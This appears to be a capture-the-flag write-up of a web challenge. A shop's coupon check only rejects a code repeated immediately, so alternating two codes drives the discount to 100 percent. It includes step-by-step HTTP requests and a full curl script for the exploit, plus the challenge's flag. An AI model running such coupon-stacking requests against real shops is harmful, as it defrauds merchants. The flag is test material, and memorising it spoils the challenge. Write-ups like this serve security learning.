First Blood on Intigriti's October 2026 Challenge First Blood on Intigriti's October 2026 Challenge

First Blood on Intigriti's October 2026 Challenge

First Blood on Intigriti’s October 2026 Challenge

Hello hackers. This is the the October 2026 Intigriti challenge. It was my first blood of the set, and had fun solving it in a rush.

Challenge url if you want to give it a try first, its easy and requires some thinking.

https://challenge-1026.challenges.intigriti.io/

The shop

The product page is ordinary. Six products, a credit chip, a cart, a coupon field, and a checkout button. Two coupons are advertised:

CodeDiscountSource
NIGHT2020% off The Midnight CollectionAnnouncement banner
NEWS3030% offNewsletter signup

The newsletter endpoint hands out NEWS30 immediately after a valid email. The banner advertises NIGHT20. Both codes are visible before you do any real work.

The target is the expensive box:

{
"id": "midnight-vault",
"name": "The Midnight Collection",
"price": 66600,
"weight": "2.4 kg",
"category": "Gift boxes",
"badge": "Only one available"
}

Prices are in cents. You have 6600. The box costs 66600. The gap is 60000 cents, or 600.00 euro.

Recon: read the client

The first stop is /static/js/app.js. It is small enough to read in one sitting, and it exposes the entire shop API:

EndpointPurpose
GET /api/sessionCurrent store credit
GET /api/productsProduct catalogue
GET /api/cartCart state
POST /api/cart/itemsAdd a product
POST /api/cart/couponApply a promotion code
POST /api/cart/coupon/removeRemove a promotion
POST /api/checkoutConvert the cart into a receipt

The client keeps a tiny state object:

const state = { credit: 6600, products: [], cart: null, filter: "all", sort: "featured" };

The coupon handler sends the code straight to the server and replaces the local cart with whatever comes back:

async function applyCoupon(button) {
const input = document.querySelector("#couponInput");
if (!input.value.trim()) {
toast("Enter a promotion code.", "bad");
input.focus();
return;
}
button.disabled = true;
try {
const payload = await api("/api/cart/coupon", {
method: "POST",
body: JSON.stringify({ code: input.value.trim() }),
});
state.cart = payload.cart;
renderCart();
toast(payload.message);
} catch (error) {
toast(error.message, "bad");
button.disabled = false;
}
}

No hidden price logic, no client-side discount calculation. The browser is a thin view over server state. That is good news: the bug has to live on the server, which means it will reproduce with plain HTTP requests.

Citrus Loops attack surface

The honest economy

The challenge is careful about the numbers. Apply each coupon once, honestly:

666.00 starting price
- 20% NIGHT20 = 133.20
- 30% NEWS30 = 199.80
= 333.00 remaining

Even with both coupons, you are 267.00 euro short. The advertised maximum discount is 50 percent, and the store credit covers 10 percent of the list price. If the shop is correct, the challenge is impossible.

That is the first useful signal. A business-logic challenge that gives you a coupon system and an impossible budget is telling you the flaw is in the coupon state machine, not in the product or the payment flow.

Price after each coupon application

The hint in the cart

The coupon box has one line of copy under it:

Codes are case-insensitive and can be removed before checkout.

That sentence is a nudge. Case handling and removal are both places where an applied set can be implemented badly. It is worth trying every combination of casing before assuming anything.

I sent NIGHT20 once. The cart accepted it.

POST /api/cart/coupon HTTP/1.1
Host: challenge-1026.challenges.intigriti.io
Content-Type: application/json
{"code":"NIGHT20"}
{
"ok": true,
"message": "20% promotion applied.",
"cart": {
"items": [{ "id": "midnight-vault", "price": 66600, "quantity": 1, "lineTotal": 66600 }],
"itemCount": 1,
"subtotal": 66600,
"discount": 13320,
"total": 53280,
"credit": 6600,
"canCheckout": false,
"promotions": [
{ "code": "NIGHT20", "percent": 20, "amount": 13320, "count": 1 }
]
}
}

I sent the same code again, immediately:

{
"ok": false,
"error": "coupon_already_applied",
"message": "Coupon already applied."
}

HTTP 409. So there is a duplicate guard. The interesting question is not whether the guard exists. It is what exactly the guard remembers.

The check that only looks backwards

I applied NEWS30 after the first NIGHT20. Then I applied NIGHT20 a second time.

It was accepted. The promotion’s count went from 1 to 2, and the total dropped from 333.00 to 199.80.

The guard was not asking “has this coupon ever been applied to this cart?” It was asking something narrower. The most plausible implementation, and the one the responses fit exactly, is a request-level check: the server rejects the same code as the immediately previous application, or uses a short-lived idempotency record keyed by the last request. Put a different coupon in between and the guard forgets.

One more application of NEWS30, after a different code in between, raised its count to 2 as well. The four requests looked like this:

NIGHT20 -> count 1, discount 20%, total 532.80
NEWS30 -> count 1, discount 30%, total 333.00
NIGHT20 -> count 2, discount 40%, total 199.80
NEWS30 -> count 2, discount 60%, total 0.00

The promotions array after the final request:

{
"promotions": [
{ "code": "NIGHT20", "percent": 20, "amount": 26640, "count": 2 },
{ "code": "NEWS30", "percent": 30, "amount": 39960, "count": 2 }
],
"subtotal": 66600,
"discount": 66600,
"total": 0,
"credit": 6600,
"canCheckout": true
}

Four requests alternating between the two coupons

The cart’s internal shape

The response tells you almost everything about the server model. A promotion is stored as:

{ "code": "NIGHT20", "percent": 20, "amount": 26640, "count": 2 }

The discount is computed from the count:

amount = subtotal * percent / 100 * count

Then the cart sums every promotion:

discount = sum(amount for every promotion)
total = subtotal - discount

That formula is fine for a real cart. If count is the number of eligible items, a promotion that applies to two boxes should discount two boxes. The problem is where count comes from. Here it is incremented by every accepted coupon request. Applying the same code twice is not treated as the same intent. It is treated as another unit.

Two separate rules are missing:

  1. Identity: the server does not keep a canonical applied set for the cart. It only compares against the previous request.
  2. Bounds: nothing clamps the total discount. The code allows the sum to reach 100 percent, and 100 percent is exactly enough.

The duplicate-check flowchart

The exploit

The exploit is four coupon requests and one checkout. Everything below was sent through a normal session. No cookies were forged and no client-side state was trusted.

  1. Start a session and confirm the credit.
GET /api/session
{"ok":true,"credit":6600}
  1. Add the Midnight Collection.
POST /api/cart/items
Content-Type: application/json
{"productId":"midnight-vault"}
  1. Apply the coupons in an alternating order.
POST /api/cart/coupon {"code":"NIGHT20"}
POST /api/cart/coupon {"code":"NEWS30"}
POST /api/cart/coupon {"code":"NIGHT20"}
POST /api/cart/coupon {"code":"NEWS30"}
  1. Check the cart.
GET /api/cart
{
"ok": true,
"cart": {
"items": [{ "id": "midnight-vault", "price": 66600, "quantity": 1, "lineTotal": 66600 }],
"itemCount": 1,
"subtotal": 66600,
"discount": 66600,
"total": 0,
"credit": 6600,
"canCheckout": true,
"promotions": [
{ "code": "NIGHT20", "percent": 20, "amount": 26640, "count": 2 },
{ "code": "NEWS30", "percent": 30, "amount": 39960, "count": 2 }
]
}
}
  1. Check out.
POST /api/checkout
Content-Type: application/json
{}
{
"ok": true,
"receipt": {
"orderId": "BLE-EC0B47D7B4",
"paid": 0,
"credit": 6600,
"message": "Your order is confirmed and being prepared.",
"flag": "INTIGRITI{094638e6-ba2f-4c50-8bb4-41ced0d5debd}"
}
}

Two coupons fill the entire discount bar

The full run with curl:

Terminal window
B=https://challenge-1026.challenges.intigriti.io
J=$(mktemp)
curl -sS -c "$J" -b "$J" "$B/api/session" >/dev/null
curl -sS -c "$J" -b "$J" -H 'Content-Type: application/json' \
-d "{\"email\":\"researcher+$(date +%s)@example.com\"}" \
"$B/api/newsletter" >/dev/null
curl -sS -c "$J" -b "$J" -H 'Content-Type: application/json' \
-d '{"productId":"midnight-vault"}' "$B/api/cart/items" >/dev/null
curl -sS -c "$J" -b "$J" -H 'Content-Type: application/json' -d '{"code":"NIGHT20"}' "$B/api/cart/coupon" >/dev/null
curl -sS -c "$J" -b "$J" -H 'Content-Type: application/json' -d '{"code":"NEWS30"}' "$B/api/cart/coupon" >/dev/null
curl -sS -c "$J" -b "$J" -H 'Content-Type: application/json' -d '{"code":"NIGHT20"}' "$B/api/cart/coupon" >/dev/null
curl -sS -c "$J" -b "$J" -H 'Content-Type: application/json' -d '{"code":"NEWS30"}' "$B/api/cart/coupon" >/dev/null
curl -sS -c "$J" -b "$J" -H 'Content-Type: application/json' -d '{}' "$B/api/checkout"
rm -f "$J"

This was one of the easier challenges by Intigriti, and had fun solving it in the first 20 mins.

Flag

INTIGRITI{094638e6-ba2f-4c50-8bb4-41ced0d5debd}

References


← Back to writeups